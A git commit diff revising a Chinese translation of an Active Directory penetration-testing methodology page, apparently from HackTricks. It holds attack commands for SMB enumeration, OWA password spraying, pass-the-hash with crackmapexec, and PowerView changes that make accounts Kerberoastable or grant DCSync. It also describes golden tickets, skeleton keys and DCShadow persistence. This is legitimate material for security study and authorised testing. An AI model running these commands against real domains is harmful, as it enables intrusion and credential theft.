Translated ['src/windows-hardening/active-directory-methodology/README.m

This commit is contained in:
Translator 2025-05-28 06:36:35 +00:00
parent d27d310989
commit 5f0b8ab07e
4 changed files with 177 additions and 101 deletions

View File

@ -241,6 +241,7 @@
- [Windows C Payloads](windows-hardening/windows-local-privilege-escalation/windows-c-payloads.md)
- [Active Directory Methodology](windows-hardening/active-directory-methodology/README.md)
- [Abusing Active Directory ACLs/ACEs](windows-hardening/active-directory-methodology/acl-persistence-abuse/README.md)
- [BadSuccessor](windows-hardening/active-directory-methodology/acl-persistence-abuse/BadSuccessor.md)
- [Shadow Credentials](windows-hardening/active-directory-methodology/acl-persistence-abuse/shadow-credentials.md)
- [AD Certificates](windows-hardening/active-directory-methodology/ad-certificates/README.md)
- [AD CS Account Persistence](windows-hardening/active-directory-methodology/ad-certificates/account-persistence.md)

View File

@ -6,7 +6,7 @@
**Active Directory** 作为基础技术,使 **网络管理员** 能够高效地创建和管理网络中的 **域**、**用户** 和 **对象**。它被设计为可扩展,便于将大量用户组织成可管理的 **组****子组**,同时在不同级别上控制 **访问权限**
**Active Directory** 的结构由三个主要层次组成:**域**、**树** 和 **森林**。一个 **域** 包含一组对象,如 **用户****设备**,共享一个公共数据库。**树** 是通过共享结构连接的这些域的组,而 **森林** 代表多个树的集合,通过 **信任关系** 互联,形成组织结构的最上层。可以在这些级别上指定特定的 **访问****通信权限**
**Active Directory** 的结构由三个主要层次组成:**域**、**树** 和 **森林**。一个 **域** 包含一组对象,如 **用户****设备**,共享一个公共数据库。**树** 是这些域的组,彼此通过共享结构连接,而 **森林** 代表多个树的集合,通过 **信任关系** 互联,形成组织结构的最上层。可以在每个层次上指定特定的 **访问****通信权限**
**Active Directory** 中的关键概念包括:
@ -14,7 +14,7 @@
2. **对象** 指目录中的实体,包括 **用户**、**组** 或 **共享文件夹**
3. **域** 作为目录对象的容器,多个域可以在一个 **森林** 中共存,每个域维护自己的对象集合。
4. **树** 一组共享公共根域的域。
5. **森林** Active Directory 中组织结构的顶点,由多个树组成,树之间存在 **信任关系**
5. **森林** Active Directory 中组织结构的顶点,由多个树组成,彼此之间有 **信任关系**
**Active Directory 域服务 (AD DS)** 包含一系列对网络内集中管理和通信至关重要的服务。这些服务包括:
@ -25,7 +25,7 @@
5. **权限管理** 通过规范其未经授权的分发和使用来帮助保护版权材料。
6. **DNS 服务** **域名** 的解析至关重要。
有关更详细的说明,请查看:[**TechTerms - Active Directory Definition**](https://techterms.com/definition/active_directory)
有关更详细的解释,请查看:[**TechTerms - Active Directory Definition**](https://techterms.com/definition/active_directory)
### **Kerberos Authentication**
@ -44,11 +44,11 @@
如果您仅访问 AD 环境,但没有任何凭据/会话,您可以:
- **渗透测试网络:**
- 扫描网络,查找机器和开放端口,并尝试 **利用漏洞****从中提取凭据**(例如,[打印机可能是非常有趣的目标](ad-information-in-printers.md))。
- 扫描网络,查找机器和开放端口,并尝试 **利用漏洞****提取凭据**(例如,[打印机可能是非常有趣的目标](ad-information-in-printers.md))。
- 枚举 DNS 可能会提供有关域中关键服务器的信息,如 Web、打印机、共享、VPN、媒体等。
- `gobuster dns -d domain.local -t 25 -w /opt/Seclist/Discovery/DNS/subdomain-top2000.txt`
- 查看一般的 [**渗透测试方法论**](../../generic-methodologies-and-resources/pentesting-methodology.md) 以获取有关如何执行此操作的更多信息。
- **检查 smb 服务上的空和访客访问**(这在现代 Windows 版本上不起作用):
- **检查 SMB 服务上的空和访客访问**(这在现代 Windows 版本上不起作用):
- `enum4linux -a -u "" -p "" <DC IP> && enum4linux -a -u "guest" -p "" <DC IP>`
- `smbmap -u "" -p "" -P 445 -H <DC IP> && smbmap -u "guest" -p "" -P 445 -H <DC IP>`
- `smbclient -U '%' -L //<DC IP> && smbclient -U 'guest%' -L //`
@ -108,17 +108,17 @@ Invoke-PasswordSprayOWA -ExchHostname [ip] -UserList .\valid.txt -Password Summe
Get-GlobalAddressList -ExchHostname [ip] -UserName [domain]\[username] -Password Summer2021 -OutFile gal.txt
```
> [!WARNING]
> 你可以在 [**这个 GitHub 仓库**](https://github.com/danielmiessler/SecLists/tree/master/Usernames/Names) 和这个 ([**statistically-likely-usernames**](https://github.com/insidetrust/statistically-likely-usernames)) 中找到用户名列表。
> 你可以在 [**这个 GitHub 仓库**](https://github.com/danielmiessler/SecLists/tree/master/Usernames/Names) 和这个 ([**统计上可能的用户名**](https://github.com/insidetrust/statistically-likely-usernames)) 中找到用户名列表。
>
> 然而,你应该在之前的侦查步骤中获得**公司员工的姓名**。有了名字和姓氏,你可以使用脚本 [**namemash.py**](https://gist.github.com/superkojiman/11076951) 来生成潜在的有效用户名。
> 然而,你应该从之前的侦查步骤中获得 **公司员工的姓名**。有了名字和姓氏,你可以使用脚本 [**namemash.py**](https://gist.github.com/superkojiman/11076951) 来生成潜在的有效用户名。
### 知道一个或多个用户名
好的,你已经知道一个有效的用户名,但没有密码……那么尝试:
- [**ASREPRoast**](asreproast.md):如果用户**没有**属性 _DONT_REQ_PREAUTH_你可以**请求该用户的 AS_REP 消息**,其中将包含一些由用户密码的派生加密的数据。
- [**密码喷洒**](password-spraying.md):让我们尝试对每个发现的用户使用最**常见的密码**,也许某个用户使用了一个糟糕的密码(记住密码策略!)。
- 请注意,你也可以**喷洒 OWA 服务器**以尝试访问用户的邮件服务器。
- [**ASREPRoast**](asreproast.md):如果用户 **没有** 属性 _DONT_REQ_PREAUTH_你可以 **请求该用户的 AS_REP 消息**,其中将包含一些由用户密码的派生加密的数据。
- [**密码喷洒**](password-spraying.md):让我们尝试对每个发现的用户使用最 **常见的密码**,也许某个用户使用了一个糟糕的密码(记住密码策略!)。
- 请注意,你也可以 **喷洒 OWA 服务器**尝试访问用户的邮件服务器。
{{#ref}}
password-spraying.md
@ -126,7 +126,7 @@ password-spraying.md
### LLMNR/NBT-NS 中毒
你可能能够**获取**一些挑战**哈希**以破解**中毒**某些网络协议:
你可能能够 **获取** 一些挑战 **哈希** 来破解 **中毒**些网络协议:
{{#ref}}
../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md
@ -134,21 +134,21 @@ password-spraying.md
### NTLM 中继
如果你已经成功枚举了活动目录,你将拥有**更多的电子邮件和对网络的更好理解**。你可能能够强制 NTLM [**中继攻击**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) 以获取对 AD 环境的访问
如果你成功枚举了活动目录,你将拥有 **更多的电子邮件和对网络的更好理解**。你可能能够强制 NTLM [**中继攻击**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) 来访问 AD 环境
### 窃取 NTLM 凭
### 窃取 NTLM 凭
如果你可以使用**空或访客用户**访问其他 PC 或共享,你可以**放置文件**(如 SCF 文件),如果以某种方式被访问,将**触发对你的 NTLM 认证**,这样你就可以**窃取** **NTLM 挑战**以破解它
如果你可以使用 **null 或访客用户** **访问其他 PC 或共享**,你可以 **放置文件**(如 SCF 文件),如果以某种方式被访问,将 **触发对你的 NTLM 认证**,这样你就可以 **窃取** **NTLM 挑战** 进行破解
{{#ref}}
../ntlm/places-to-steal-ntlm-creds.md
{{#endref}}
## 使用凭/会话枚举活动目录
## 使用凭/会话枚举活动目录
在这个阶段,你需要**破坏有效域账户的凭据或会话**。如果你有一些有效的凭据或作为域用户的 shell**你应该记住之前给出的选项仍然是破坏其他用户的选项**。
在这个阶段,你需要 **获取有效域账户的凭证或会话。** 如果你有一些有效的凭证或作为域用户的 shell**你应该记住之前给出的选项仍然是妥协其他用户的选项**。
在开始经过身份验证的枚举之前,你应该知道**Kerberos 双跳问题**
在开始经过身份验证的枚举之前,你应该知道 **Kerberos 双跳问题**
{{#ref}}
kerberos-double-hop-problem.md
@ -156,18 +156,18 @@ kerberos-double-hop-problem.md
### 枚举
成功破坏一个账户是**开始破坏整个域的重要一步**,因为你将能够开始**活动目录枚举:**
成功获取一个账户是 **开始妥协整个域的一个重要步骤**,因为你将能够开始 **活动目录枚举:**
关于 [**ASREPRoast**](asreproast.md),你现在可以找到每个可能的易受攻击用户,关于 [**密码喷洒**](password-spraying.md),你可以获得**所有用户名的列表**并尝试被破坏账户的密码、空密码和新的有前景的密码。
关于 [**ASREPRoast**](asreproast.md),你现在可以找到每个可能的易受攻击用户,关于 [**密码喷洒**](password-spraying.md),你可以获得 **所有用户名的列表**,并尝试被妥协账户的密码、空密码和新的有前景的密码。
- 你可以使用 [**CMD 进行基本侦查**](../basic-cmd-for-pentesters.md#domain-info)
- 你也可以使用 [**powershell 进行侦查**](../basic-powershell-for-pentesters/index.html),这将更加隐蔽
- 你还可以 [**使用 powerview**](../basic-powershell-for-pentesters/powerview.md) 提取更详细的信息
- 另一个在活动目录中进行侦查的惊人工具是 [**BloodHound**](bloodhound.md)。它**不是很隐蔽**(取决于你使用的收集方法),但**如果你不在乎**这一点,你绝对应该试试。找出用户可以 RDP 的地方,找到其他组的路径等。
- 另一个在活动目录中进行侦查的惊人工具是 [**BloodHound**](bloodhound.md)。它 **不是很隐蔽**(取决于你使用的收集方法),但 **如果你不在乎**,你应该完全尝试一下。找出用户可以 RDP 的地方,找到其他组的路径等。
- **其他自动化 AD 枚举工具有:** [**AD Explorer**](bloodhound.md#ad-explorer)**,** [**ADRecon**](bloodhound.md#adrecon)**,** [**Group3r**](bloodhound.md#group3r)**,** [**PingCastle**](bloodhound.md#pingcastle)**.**
- [**AD 的 DNS 记录**](ad-dns-records.md),因为它们可能包含有趣的信息。
- 你可以使用带 GUI 的工具 **AdExplorer.exe** 来枚举目录,来自 **SysInternal** 套件。
- 你还可以使用 **ldapsearch** 在 LDAP 数据库中搜索,以查找 _userPassword__unixUserPassword_ 字段中的凭据,甚至是 _Description_。请参阅 [PayloadsAllTheThings 中 AD 用户注释的密码](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#password-in-ad-user-comment) 以获取其他方法。
- 你可以使用 **AdExplorer.exe** 这个 **GUI 工具** 来枚举目录,来自 **SysInternal** 套件。
- 你还可以使用 **ldapsearch** 在 LDAP 数据库中搜索,以查找 _userPassword__unixUserPassword_ 字段中的凭证,甚至查找 _Description_。请参见 [PayloadsAllTheThings 中 AD 用户注释的密码](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#password-in-ad-user-comment) 以获取其他方法。
- 如果你使用 **Linux**,你也可以使用 [**pywerview**](https://github.com/the-useless-one/pywerview) 枚举域。
- 你还可以尝试自动化工具,如:
- [**tomcarver16/ADSearch**](https://github.com/tomcarver16/ADSearch)
@ -180,7 +180,7 @@ kerberos-double-hop-problem.md
### Kerberoast
Kerberoasting 涉及获取**TGS 票证**,这些票证用于与用户账户相关的服务,并破解其加密——这基于用户密码——**离线**。
Kerberoasting 涉及获取 **TGS 票证**,这些票证用于与用户账户相关的服务,并破解其加密——这基于用户密码——**离线**。
更多信息请参见:
@ -190,17 +190,17 @@ kerberoast.md
### 远程连接 (RDP, SSH, FTP, Win-RM 等)
一旦你获得了一些凭据,你可以检查是否可以访问任何**机器**。为此,你可以使用 **CrackMapExec** 尝试通过不同协议连接到多个服务器,具体取决于你的端口扫描结果。
一旦你获得了一些凭证,你可以检查是否可以访问任何 **机器**。为此,你可以使用 **CrackMapExec** 尝试通过不同协议连接到多个服务器,具体取决于你的端口扫描结果。
### 本地权限提升
如果你已经破坏了凭据或作为普通域用户的会话,并且你可以使用该用户**访问域中的任何机器**,你应该尝试找到**本地提升权限和寻找凭据的方法**。这是因为只有拥有本地管理员权限,你才能**在内存中LSASS和本地SAM转储其他用户的哈希**
如果你已经妥协了凭证或作为普通域用户的会话,并且你可以 **使用该用户访问域中的任何机器**,你应该尝试找到 **本地提升权限和寻找凭证的方法**。这是因为只有在本地管理员权限下,你才能 **从内存LSASS和本地SAM中转储其他用户的哈希**
本书中有一整页关于 [**Windows 中的本地权限提升**](../windows-local-privilege-escalation/index.html) 和一个 [**检查表**](../checklist-windows-privilege-escalation.md)。此外,不要忘记使用 [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)。
### 当前会话票证
你很**不可能**在当前用户中找到**票证**,使你有权限访问意外资源,但你可以检查:
你很 **不可能** 在当前用户中找到 **票证**,使你能够访问意外的资源,但你可以检查:
```bash
## List all tickets (if not admin, only current user tickets)
.\Rubeus.exe triage
@ -210,11 +210,11 @@ kerberoast.md
```
### NTLM Relay
如果你已经成功枚举了活动目录,你将会有**更多的电子邮件和对网络的更好理解**。你可能能够强制进行 NTLM [**中继攻击**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)**。**
如果你成功枚举了活动目录,你将会有**更多的电子邮件和对网络的更好理解**。你可能能够强制进行 NTLM [**中继攻击**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)**。**
### 在计算机共享 | SMB 共享中查找凭据
现在你有了一些基本凭据,你应该检查是否可以**找到**任何**在 AD 中共享的有趣文件**。你可以手动进行,但这是一项非常无聊的重复任务(如果你发现数百个需要检查的文档,更是如此)。
现在你有了一些基本凭据,你应该检查是否可以**找到**任何**在 AD 中共享的有趣文件**。你可以手动进行,但这是一项非常无聊的重复任务(如果你发现数百个文档需要检查,更是如此)。
[**点击此链接了解你可以使用的工具。**](../../network-services-pentesting/pentesting-smb/index.html#domain-shared-folders-search)
@ -234,7 +234,7 @@ kerberoast.md
printnightmare.md
{{#endref}}
## 在具有特权凭据/会话的 Active Directory 上进行特权提升
## 在具有特权凭据/会话的活动目录上进行特权提升
**对于以下技术,普通域用户是不够的,你需要一些特殊的特权/凭据来执行这些攻击。**
@ -247,10 +247,10 @@ printnightmare.md
### 传递哈希
**一旦你拥有用户的哈希**,你可以用它来**冒充**该用户。\
你需要使用些**工具**来**执行**使用该**哈希**的**NTLM 认证****或者**你可以创建一个新的**sessionlogon**并**注入**该**哈希**到**LSASS**中,这样当任何**NTLM 认证被执行**时,该**哈希将被使用。**最后一个选项就是 mimikatz 所做的。\
你需要使用些**工具**来**执行**使用该**哈希**的**NTLM 认证****或者**你可以创建一个新的**sessionlogon**并**注入**该**哈希**到**LSASS**中,这样当任何**NTLM 认证被执行**时,该**哈希将被使用。**最后一个选项就是 mimikatz 所做的。\
[**阅读此页面以获取更多信息。**](../ntlm/index.html#pass-the-hash)
### 超越传递哈希/传递密钥
### 超越哈希/传递密钥
此攻击旨在**使用用户的 NTLM 哈希请求 Kerberos 票证**,作为常见的 NTLM 协议下的传递哈希的替代方案。因此,这在**禁用 NTLM 协议**且仅允许**Kerberos**作为认证协议的网络中可能特别**有用**。
@ -268,7 +268,7 @@ pass-the-ticket.md
### 凭据重用
如果你拥有**哈希**或**密码**的**本地管理员**,你应该尝试使用它**在其他 PC 上本地登录**。
如果你拥有**本地管理员**的**哈希**或**密码**,你应该尝试使用它**本地登录**到其他**PC**。
```bash
# Local Auth Spray (once you found some local admin pass or hash)
## --local-auth flag indicate to only try 1 time per machine
@ -280,7 +280,7 @@ crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9c
### MSSQL 滥用与受信任链接
如果用户有权限**访问 MSSQL 实例**,他可能能够利用它在 MSSQL 主机上**执行命令**(如果以 SA 身份运行),**窃取** NetNTLM **哈希**,甚至执行**中继****攻击**。\
此外,如果 MSSQL 实例被其他 MSSQL 实例信任(数据库链接)。如果用户对受信任的数据库有权限,他将能够**利用信任关系在其他实例中执行查询**。这些信任可以链式连接,在某些情况下,用户可能能够找到一个配置错误的数据库,在其中执行命令。\
此外,如果 MSSQL 实例被其他 MSSQL 实例信任(数据库链接)。如果用户对受信任的数据库有权限,他将能够**利用信任关系在其他实例中执行查询**。这些信任可以链式连接,在某些情况下,用户可能能够找到配置错误的数据库,在其中执行命令。\
**数据库之间的链接甚至可以跨森林信任工作。**
{{#ref}}
@ -289,9 +289,9 @@ abusing-ad-mssql.md
### 不受限制的委派
如果发现任何具有属性 [ADS_UF_TRUSTED_FOR_DELEGATION](<https://msdn.microsoft.com/en-us/library/aa772300(v=vs.85).aspx> ) 的计算机对象,并且您在计算机上具有域权限,您将能够从登录到该计算机的每个用户的内存中转储 TGT。\
因此,如果**域管理员登录到计算机**将能够转储他的 TGT并使用 [Pass the Ticket](pass-the-ticket.md) 冒充他。\
由于受限委派,甚至可以**自动妥协打印服务器**(希望它是 DC
如果发现任何具有属性 [ADS_UF_TRUSTED_FOR_DELEGATION](<https://msdn.microsoft.com/en-us/library/aa772300(v=vs.85).aspx>) 的计算机对象,并且你在该计算机上拥有域权限,你将能够从登录到该计算机的每个用户的内存中转储 TGT。\
因此,如果**域管理员登录到计算机**将能够转储他的 TGT并使用 [Pass the Ticket](pass-the-ticket.md) 冒充他。\
由于受限委派,甚至可以**自动妥协打印服务器**(希望它是 DC
{{#ref}}
unconstrained-delegation.md
@ -300,7 +300,7 @@ unconstrained-delegation.md
### 受限委派
如果用户或计算机被允许进行“受限委派”,它将能够**冒充任何用户以访问计算机中的某些服务**。\
然后,如果您**妥协**此用户/计算机的哈希,您将能够**冒充任何用户**(甚至是域管理员)以访问某些服务。
然后,如果你**妥协**该用户/计算机的哈希,你将能够**冒充任何用户**(甚至是域管理员)以访问某些服务。
{{#ref}}
constrained-delegation.md
@ -308,15 +308,15 @@ constrained-delegation.md
### 基于资源的受限委派
在远程计算机的 Active Directory 对象上拥有**WRITE**权限可以实现**提升权限**的代码执行:
在远程计算机的 Active Directory 对象上拥有**写入**权限可以实现**提升权限**的代码执行:
{{#ref}}
resource-based-constrained-delegation.md
{{#endref}}
### ACL 滥用
### 权限/ACL 滥用
被妥协的用户可能对某些域对象拥有一些**有趣的权限**,这可能让**横向移动**/**提升**权限。
被妥协的用户可能对某些域对象拥有一些**有趣的权限**,这可能让**横向移动**/**提升**权限。
{{#ref}}
acl-persistence-abuse/
@ -357,17 +357,17 @@ ad-certificates/certificate-theft.md
### 证书模板滥用
如果配置了**易受攻击的模板**,则可以滥用它们以提升权限:
如果**易受攻击的模板**被配置,可以利用它们来提升权限:
{{#ref}}
ad-certificates/domain-escalation.md
{{#endref}}
## 高权限账户的后期利用
## 使用高权限账户的后期利用
### 转储域凭据
一旦您获得**域管理员**或更好的**企业管理员**权限,您可以**转储**域数据库_ntds.dit_。
一旦你获得**域管理员**或更好的**企业管理员**权限,你可以**转储**域数据库_ntds.dit_。
[**有关 DCSync 攻击的更多信息可以在这里找到**](dcsync.md)。
@ -376,21 +376,21 @@ ad-certificates/domain-escalation.md
### 权限提升作为持久性
之前讨论的一些技术可以用于持久性。\
例如,可以:
例如,可以:
- 使用户易受 [**Kerberoast**](kerberoast.md) 攻击
- 使用户易受[**Kerberoast**](kerberoast.md)攻击
```bash
Set-DomainObject -Identity <username> -Set @{serviceprincipalname="fake/NOTHING"}r
```
- 使用户易受 [**ASREPRoast**](asreproast.md) 攻击
- 使用户易受[**ASREPRoast**](asreproast.md)攻击
```bash
Set-DomainObject -Identity <username> -XOR @{UserAccountControl=4194304}
```
- 授予用户 [**DCSync**](#dcsync) 权限
- 授予用户[**DCSync**](#dcsync)权限
```bash
Add-DomainObjectAcl -TargetIdentity "DC=SUB,DC=DOMAIN,DC=LOCAL" -PrincipalIdentity bfarmer -Rights DCSync
@ -398,7 +398,7 @@ Add-DomainObjectAcl -TargetIdentity "DC=SUB,DC=DOMAIN,DC=LOCAL" -PrincipalIdenti
### 银票
**银票攻击**为特定服务创建一个**合法的票据授予服务 (TGS) 票据**,使用**NTLM 哈希**(例如,**PC 账户的哈希**)。此方法用于**访问服务权限**。
**银票攻击**为特定服务创建一个**合法的票据授予服务TGS票据**,使用**NTLM 哈希**(例如,**PC 账户的哈希**)。此方法用于**访问服务权限**。
{{#ref}}
silver-ticket.md
@ -406,9 +406,9 @@ silver-ticket.md
### 金票
**金票攻击**涉及攻击者在 Active Directory (AD) 环境中获取**krbtgt 账户的 NTLM 哈希**。该账户是特殊的,因为它用于签署所有**票据授予票据 (TGT)**,这些票据对于在 AD 网络中进行身份验证至关重要。
**金票攻击**涉及攻击者在 Active Directory (AD) 环境中获取**krbtgt 账户的 NTLM 哈希**。该账户是特殊的,因为它用于签署所有**票据授予票据TGTs**,这些票据对于在 AD 网络中进行身份验证至关重要。
一旦攻击者获得此哈希,他们可以为他们选择的任何账户创建**TGT**(银票攻击)。
一旦攻击者获得此哈希,他们可以为他们选择的任何账户创建**TGTs**(银票攻击)。
{{#ref}}
golden-ticket.md
@ -416,7 +416,7 @@ golden-ticket.md
### 钻石票
这些票据类似于金票,但伪造的方式**绕过常见的金票检测机制**
这些类似于金票,以一种**绕过常见金票检测机制**的方式伪造
{{#ref}}
diamond-ticket.md
@ -440,13 +440,13 @@ ad-certificates/domain-persistence.md
### AdminSDHolder 组
Active Directory 中的**AdminSDHolder**对象通过在这些组中应用标准的**访问控制列表 (ACL)** 来确保**特权组**(如域管理员和企业管理员)的安全,以防止未经授权的更改。然而,这一功能可被利用;如果攻击者修改 AdminSDHolder 的 ACL 以授予普通用户完全访问权限,该用户将获得对所有特权组的广泛控制。这个本应保护的安全措施因此可能适得其反,允许不当访问,除非进行严格监控。
Active Directory 中的**AdminSDHolder**对象通过在这些组中应用标准的**访问控制列表ACL**来确保**特权组**(如域管理员和企业管理员)的安全,以防止未经授权的更改。然而,这一功能可被利用;如果攻击者修改 AdminSDHolder 的 ACL 以授予普通用户完全访问权限,该用户将获得对所有特权组的广泛控制。这个本应保护的安全措施因此可能适得其反,允许不当访问,除非进行严格监控。
[**有关 AdminDSHolder 组的更多信息。**](privileged-groups-and-token-privileges.md#adminsdholder-group)
### DSRM 凭据
在每个**域控制器 (DC)** 内,存在一个**本地管理员**账户。通过在这样的机器上获得管理员权限,可以使用**mimikatz**提取本地管理员哈希。随后,需要进行注册表修改以**启用使用此密码**,允许远程访问本地管理员账户。
在每个**域控制器DC**内部,存在一个**本地管理员**账户。通过在这样的机器上获得管理员权限,可以使用**mimikatz**提取本地管理员哈希。随后,需要进行注册表修改以**启用使用此密码**,允许远程访问本地管理员账户。
{{#ref}}
dsrm-credentials.md
@ -454,7 +454,7 @@ dsrm-credentials.md
### ACL 持久性
您可以**授予**某个**用户**对某些特定域对象的**特殊权限**,这将使该用户**在未来提升权限**。
你可以**给予**某个**用户**对某些特定域对象的**特殊权限**,这将使该用户**在未来提升权限**。
{{#ref}}
acl-persistence-abuse/
@ -462,13 +462,13 @@ acl-persistence-abuse/
### 安全描述符
**安全描述符**用于**存储**对象对另一个对象的**权限**。如果您只需对对象的**安全描述符**进行**小改动**,就可以在不需要成为特权组成员的情况下获得对该对象的非常有趣的权限。
**安全描述符**用于**存储**对象对另一个对象的**权限**。如果你只需在对象的**安全描述符**中**进行一点更改**,你可以在不需要成为特权组成员的情况下获得对该对象的非常有趣的权限。
{{#ref}}
security-descriptors.md
{{#endref}}
### 骨架
### 骨架钥
在内存中更改**LSASS**以建立一个**通用密码**,授予对所有域账户的访问权限。
@ -479,7 +479,7 @@ skeleton-key.md
### 自定义 SSP
[在这里了解什么是 SSP安全支持提供者](../authentication-credentials-uac-and-efs/index.html#security-support-provider-interface-sspi)\
可以创建自己的**SSP**以**捕获**用于访问机器的**凭据**的**明文**。
可以创建自己的**SSP**以**捕获**用于访问机器的**凭据**的**明文**。
{{#ref}}
custom-ssp.md
@ -487,8 +487,8 @@ custom-ssp.md
### DCShadow
它在 AD 中注册一个**新的域控制器**,并使用它在指定对象上**推送属性**SIDHistory、SPNs...**不留下**任何关于**修改**的**日志**。您**需要 DA** 权限并在**根域**内。\
请注意,如果使用错误的数据,会出现相当丑陋的日志。
它在 AD 中注册一个**新的域控制器**,并使用它在指定对象上**推送属性**SIDHistory、SPNs...**不留**任何关于**修改**的**日志**。你**需要 DA** 权限并在**根域**内。\
请注意,如果使用错误的数据,会出现相当丑陋的日志。
{{#ref}}
dcshadow.md
@ -496,7 +496,7 @@ dcshadow.md
### LAPS 持久性
之前我们讨论了如果有**足够的权限读取 LAPS 密码**,如何提升权限。然而,这些密码也可以用于**维持持久性**。\
之前我们讨论了如果有**足够的权限读取 LAPS 密码**,如何提升权限。然而,这些密码也可以用于**维持持久性**。\
检查:
{{#ref}}
@ -505,62 +505,62 @@ laps.md
## 森林权限提升 - 域信任
微软将**森林**视为安全边界。这意味着**妥协个域可能导致整个森林被妥协**。
微软将**森林**视为安全边界。这意味着**妥协个域可能导致整个森林被妥协**。
### 基本信息
[**域信任**](<http://technet.microsoft.com/en-us/library/cc759554(v=ws.10).aspx>) 是一种安全机制,使来自一个**域**的用户能够访问另一个**域**中的资源。它本质上在两个域的身份验证系统之间创建了一个链接,允许身份验证验证无缝流动。当域设置信任时,它们在其**域控制器 (DC)** 中交换并保留特定的**密钥**,这些密钥对信任的完整性至关重要。
[**域信任**](<http://technet.microsoft.com/en-us/library/cc759554(v=ws.10).aspx>)是一种安全机制,使一个**域**的用户能够访问另一个**域**中的资源。它本质上在两个域的身份验证系统之间创建了一个链接,允许身份验证验证无缝流动。当域设置信任时,它们在其**域控制器DC**中交换并保留特定的**密钥**,这些密钥对信任的完整性至关重要。
在典型场景中,如果用户打算访问**受信任域**中的服务,他们必须首先从自己域的 DC 请求一个称为**跨领域 TGT**的特殊票据。此 TGT 使用两个域已达成一致的共享**密钥**进行加密。然后,用户将此 TGT 提交给**受信任域的 DC**以获取服务票据(**TGS**)。在受信任域的 DC 成功验证跨领域 TGT 后,它会发出 TGS授予用户访问该服务的权限。
**步骤**
1. **域 1** 中的**客户端计算机**开始该过程,使用其**NTLM 哈希**向其**域控制器 (DC1)** 请求**票据授予票据 (TGT)**
1. **域 1**中的**客户端计算机**使用其**NTLM 哈希**向其**域控制器DC1**请求**票据授予票据TGT**,以启动该过程
2. 如果客户端成功通过身份验证DC1 将发出新的 TGT。
3. 然后客户端向 DC1 请求一个**跨领域 TGT**,该 TGT 是访问**域 2**中资源所需的。
3. 客户端然后向 DC1 请求一个**跨领域 TGT**,该 TGT 是访问**域 2**中资源所需的。
4. 跨领域 TGT 使用作为双向域信任的一部分在 DC1 和 DC2 之间共享的**信任密钥**进行加密。
5. 客户端将跨领域 TGT 带到**域 2 的域控制器 (DC2)**。
6. DC2 使用其共享信任密钥验证跨领域 TGT如果有效则为客户端想要访问的域 2 中的服务器发出**票据授予服务 (TGS)**。
5. 客户端将跨领域 TGT 带到**域 2 的域控制器DC2**。
6. DC2 使用其共享信任密钥验证跨领域 TGT如果有效则为客户端想要访问的域 2 中的服务器发出**票据授予服务TGS**。
7. 最后,客户端将此 TGS 提交给服务器,该 TGS 使用服务器的账户哈希进行加密,以获取对域 2 中服务的访问权限。
### 不同的信任
重要的是要注意,**信任可以是单向或双向**。在双向选项中,两个域将相互信任,但在**单向**信任关系中,一个域将是**受信任**的,另一个是**信任**的域。在最后一种情况下,**只能从受信任的域访问信任域内的资源**。
重要的是要注意,**信任可以是单向或双向**。在双向选项中,两个域将相互信任,但在**单向**信任关系中,一个域将是**受信任**的,另一个是**信任**的域。在最后一种情况下,**只能从受信任的域访问信任域内的资源**。
如果域 A 信任域 BA 是信任域B 是受信任域。此外,在**域 A**中,这将是**出站信任**;而在**域 B**中,这将是**入站信任**。
**不同的信任关系**
- **父子信任**:这是同一森林内的常见设置,子域自动与其父域建立双向传递信任。这意味着身份验证请求可以在父域和子域之间无缝流动。
- **交叉链接信任**:被称为“快捷信任”,这些信任在子域之间建立,以加快引用过程。在复杂的森林中,身份验证引用通常必须向森林根部上行,然后再向目标域下行。通过创建交叉链接,旅程缩短,这在地理分散的环境中特别有利。
- **外部信任**:这些信任在不同的、不相关的域之间建立,通常是非传递的。根据[微软的文档](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>),外部信任对于访问当前森林外的域中的资源非常有用,该域未通过森林信任连接。通过 SID 过滤增强安全性。
- **交叉链接信任**:被称为“快捷信任”,这些是在子域之间建立的,以加快引用过程。在复杂的森林中,身份验证引用通常必须向森林根部上行,然后再向目标域下行。通过创建交叉链接,旅程缩短,这在地理分散的环境中特别有利。
- **外部信任**:这些是在不同的、不相关的域之间设置的,通常是非传递性的。根据[微软的文档](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>),外部信任对于访问当前森林外的域中的资源非常有用,该域未通过森林信任连接。通过 SID 过滤增强安全性。
- **树根信任**:这些信任在森林根域和新添加的树根之间自动建立。虽然不常见,但树根信任对于将新域树添加到森林非常重要,使它们能够保持唯一的域名并确保双向传递性。有关更多信息,请参见[微软的指南](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>)。
- **森林信任**:这种类型的信任是两个森林根域之间的双向传递信任,也强制执行 SID 过滤以增强安全措施。
- **MIT 信任**:这些信任与非 Windows 的 [RFC4120 兼容](https://tools.ietf.org/html/rfc4120) Kerberos 域建立。MIT 信任更为专业,适用于需要与 Windows 生态系统外的基于 Kerberos 的系统集成的环境。
- **MIT 信任**:这些信任与非 Windows 的[符合 RFC4120](https://tools.ietf.org/html/rfc4120) Kerberos 域建立。MIT 信任更为专业,适用于需要与 Windows 生态系统外的基于 Kerberos 的系统集成的环境。
#### **信任关系中的其他差异**
- 信任关系也可以是**传递的**A 信任 BB 信任 C则 A 信任 C或**非传递的**。
- 信任关系可以设置为**双向信任**双方相互信任)或**单向信任**(只有一个信任另一个)。
- 信任关系可以设置为**双向信任**彼此信任)或**单向信任**(只有一个信任另一个)。
### 攻击路径
1. **枚举**信任关系
